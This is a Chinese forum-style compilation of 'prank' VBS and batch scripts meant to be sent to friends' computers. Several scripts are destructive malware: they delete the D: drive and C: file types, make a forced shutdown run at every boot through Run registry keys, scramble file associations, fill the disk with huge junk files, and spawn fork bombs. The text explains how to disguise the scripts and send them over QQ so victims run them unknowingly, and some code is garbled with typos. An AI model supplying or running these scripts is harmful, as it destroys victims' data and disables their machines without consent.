txt整人代码

㈤ 求大量VBS整人代码.

大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fone.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop

ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop

ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop

ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"

ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

㈥ 跪求bat整人代码

这是一个恶搞程序，运行后会出现N个本地磁盘，但是对电脑没有什么实际伤害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用这个
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你对对方恨之入骨就用这个，这个会把文件关联改的一团糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile

或者用这个
@echo off
%0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
shutdown -s -f -t 0

你也可以用这个超级弹窗程序吓吓他
@echo off
for /l %%i in (1,1,10000) do (start %0)

㈦ 求一些好玩的整人代码~~

这些超级好玩看看
第一个：
这些超级好玩
第一个：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------

--------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二个：
“
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
这个病毒的说明：在任务管理器关闭wscript.exe可关闭弹窗
第三个：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四个：
do
msgbox"哈哈哈有种把我关掉”
loop
哈哈哈有种把我关掉可以随意更改
第四个的升级版：
do
msgbox"哈哈,有种关掉我啊"
msgbox"开始倒计时"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子强最帅"
loop
野生熊孩子强最帅可以随意更改
第五个：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六个：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七个:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八个：名：腾讯QQ
do
msgbox”别点我哟，我今天想休息，不让登”
loop
第九个：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪，不说我是猪就两分钟关你机，不信，你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，说 ""我是猪""","说不说","你写啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10个：
Gecho off
start cmd
%0
第11个：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陈独秀"
a=inputbox("快在下面的框框里输入陈独秀喜欢谁,否则后果自负"" ","一个问题","")
loop
call shutdown(2)
msgbox"好吧，不过好自恋啊",4096+64
msgbox"但是你关不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打开任务管理器也没有什么软用的",4096+64
MsgBox"给你讲个故事",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 60
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12个：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13个：

dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop

㈧ 整人程序代码怎么用

整人代码及应用
让对方重启指定次数(害人专用)

@echo off

if not exist c:1.txt echo. >c:1.txt & goto err1

if not exist c:2.txt echo. >c:2.txt & goto err1

if not exist c:3.txt echo. >c:3.txt & goto err1s

if not exist c:4.txt echo. >c:4.txt & goto err1

if not exist c:5.txt echo. >c:5.txt & goto err1

goto err2

:err1

shutdown -s -t 0

:err2

上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重启6次

改成7就是7次...

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，
保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

善意恶搞关机

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，
不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"

复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，
对方打开了就在60秒内要关闭计算机，

结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，
要是对付你喜欢的人，

就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了
,还没等对方打完就关机了 是不是叫对方很郁闷呢?

让人崩溃的关机程序

首先你可以看下面的

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

把这个复制在记事本,把后缀修改成.vbs

在打开呢就会先说第一句的 嘿，谢谢你打开我哦，我等你很久拉！

他无论是点关闭或者是点确定都会再说第2句

再点就说地3句 会按顺序说完

你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢？

这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改

㈨ 求简单的整人Bat代码

严重警告！极度危险！不是恶搞程序！
@echo off
color 4f
title c:files killer
taskkill /im explorer.exe /f
echo 删除C盘所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"

㈩ bat整人代码

@echo off
color 0a
:firdo
echo.x=msgbox("对不起！你被系统鄙视了！！" ,Buttons, "错误！")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "对不起！你被系统鄙视了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "对不起！你被系统鄙视了"

exit

解释，在firdo，bat在系统盘自动创建一个vbs文件然后自动开启它，开了会弹出“错误，你被系统鄙视了”的气球，并且把它加到开机启动项，每每开机时就会弹出以上的气球...
在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～ ^ ^

以上是我为了整朋友而创作的，绝对原创～希望你看得懂我的解释..........